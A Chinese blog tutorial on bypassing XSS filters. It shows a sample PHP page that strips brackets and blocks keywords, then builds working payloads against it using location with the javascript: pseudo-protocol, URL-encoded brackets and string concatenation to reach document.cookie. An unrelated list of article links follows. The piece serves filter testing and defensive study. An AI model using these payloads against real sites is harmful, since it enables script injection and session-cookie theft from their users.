利用location来变形我们的XSS Payload
这篇文章是前段时间从某群中学到的姿势,我分享出来~
在XSS的时候,有时候有的过滤器很变态,会过滤很多特殊符号和关键词,比如&、(、)、#、'、",特别是&和括号,少了的话payload很难构造出来。
举个例子吧,比如过滤器过滤了array("(",")","&","","<",">","'"),而没有过滤双引号,输出点在<img src="xxxx">,xxxx这里,怎么构造一个可以利用的XSS Payload?
过滤代码如下:
<?php
header('X-XSS-Protection: 0');
$xss = isset($_GET['xss'])?$_GET['xss']:'';
$xss = str_replace(array("(",")","&","\","<",">","'"), '', $xss);
echo "<img src="{$xss}">";
?>
所有人肯定都知道,先闭合双引号,后面使用onerror事件触发XSS。输入xss=1" onerror=alert(1),就可以构造成如下html:
<img src="1" onerror=alert(1)>
可是括号被过滤了怎么办?窗户都弹不出来。
聪明人可能想到,用html实体来代替括号,变成这样:
<img src="1" onerror=alert(1)>
一样可以弹出。但是,&也被过滤了。有同学可能还想到,用unicode或8进制编码(如u0028
或50
)来绕过,也是不行的,就算没过滤号,在html属性中也不能直接用这种编码。
这里涉及到js中关键词(函数名、变量名、保留字等)、字符串、左值与右值的问题,这也是所有语言中都有的问题。
举个例子,比如test="phithon";
,这里test就是左值、变量名,"phithon"就是右值、字符串,=
和"
是符号。字符串中可以用编码来替换原始字符,比如用u0028
代替左括号(
,或用50
来代替左括号(
。左值必须是可写的,比如一个变量,我们不能把字符串放在等号左边,因为字符串是一个只读的值。还有,有关于javascript的字符编码,都只能用在字符串中,不能用字符编码去代替符号或变量名、函数名。
我们要把js中的编码和html中的编码区分开,在html属性中可以用字符实体代替原字符,比如(
代替(
,但js中的unicode与8进制编码,只能放在js中的“字符串”中。比如<img src=1 onerror=alertu0040u0041>
是不行的,但<img src=1 onerror=alert()>
可以。
所以回到我们的测试,根据我之前说的,这些编码在payload里都不能用,因为括号是“符号”,js编码不能替换符号,而html实体又因为过滤了&而不能使用。
这里一个小tip就是,我们可以利用location加javascript伪协议,将“符号”、“变量名”、“函数名”统统变成“字符串”,在字符串中我们可以使用所有js里可以使用的编码,去构造payload。
怎么变?比如我们可以构造如下payload:
<img src="1" onerror=location="javascript:alert(1)">
这个时候,alert(1)被放进了字符串里,因为有javascript伪协议,所以也可以执行xss。在字符串中就能够用很多编码了,虽然我们这里过滤了,但可以用url编码来替代括号,如下payload:
<img src="1" onerror=location="javascript:alert%281%29">
就能成功绕过上述filter。
测试一下:http://xxxx/index.php?xss=1"%20onerror%3Dlocation%3D"javascript%3Aalert%25281%2529"%20
那么,我们把难度提高一点。再拦截一些关键词,比如document,cookie,eval,setTimeout,alert等:
<?php
header('X-XSS-Protection: 0');
$xss = isset($_GET['xss'])?$_GET['xss']:'';
$xss = str_replace(array("(",")","&","\","<",">","'"), '', $xss);
if (preg_match('/(script|document|cookie|eval|setTimeout|alert)/', $xss)) {
exit('bad');
}
echo "<img src="{$xss}">";
?>
这时我们怎么能弹出cookie?
这个时候我们可以用字符串拼接的方式绕过,这也是得益于我们之前将要执行的“函数”变成了“字符串”才有的效果,我们不可能直接<img sec=1 onerror='al'+'er'+t(1)>
,js中只有“字符串”才能拼接。
payload例如:
<img src="1" onerror=location="javascr"+"ipt:al"+"ert%28docu"+"ment.co"+"okie%29">
用拼接来绕过一些关键词。
- 微软编程教育都在搞什么?从code.org到makecode,从Minecraft到Micro:bit
- 谷歌:通往完全自动驾驶之路
- 随时随地部署Kubernetes
- 使用CoreOs,Docker和Nirmata来部署微服务风格的应用程序
- 使用ACS和Kubernetes部署Red Hat JBoss Fuse
- 教你快速安装OpenShift容器平台3.6
- 面向开发者的Cloud Foundry
- 云数据库安全与农场和餐馆:知道来源的重要性
- 云数据库安全,农场和餐馆:知道你的来源的重要性
- NO.32 不堪重负:线程池拒绝策略
- 工厂模式进阶之Android中工厂模式源码分析
- C加加游戏编程,大神十年的绝技,正确的入门,这才叫学习
- 我们应该担心吗?人工智能现在可以通过交谈来学习新单词!
- 印度财政部:比特币是纯粹投机行为 区块链资产是“庞氏骗局”
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 聊聊claudb的transaction command
- 聊聊claudb的scripting command
- 聊聊claudb的hash command
- 聊聊claudb的string command
- 为什么你使用的 Spring Security OAuth 过期了?松哥来和大家捋一捋!
- 一个诡异的登录问题
- 什么是计时攻击?Spring Boot 中该如何防御?
- XSS 攻击详解,为什么建议 Cookie 加上 HttpOnly 属性?
- 个性化调整坐标轴的颜色和位置
- matplotlib实现一页多图
- 用matplotlib实现画中画
- 为matplotlib设置不同的主题
- 模式利器 | MEIC污染源清单向WRF-Chem模式网格插值分配工具——meic2wrf
- Windows给力!可以扔掉Linux虚拟机了!
- 好慌,Redis这么多集群方案,要用哪种?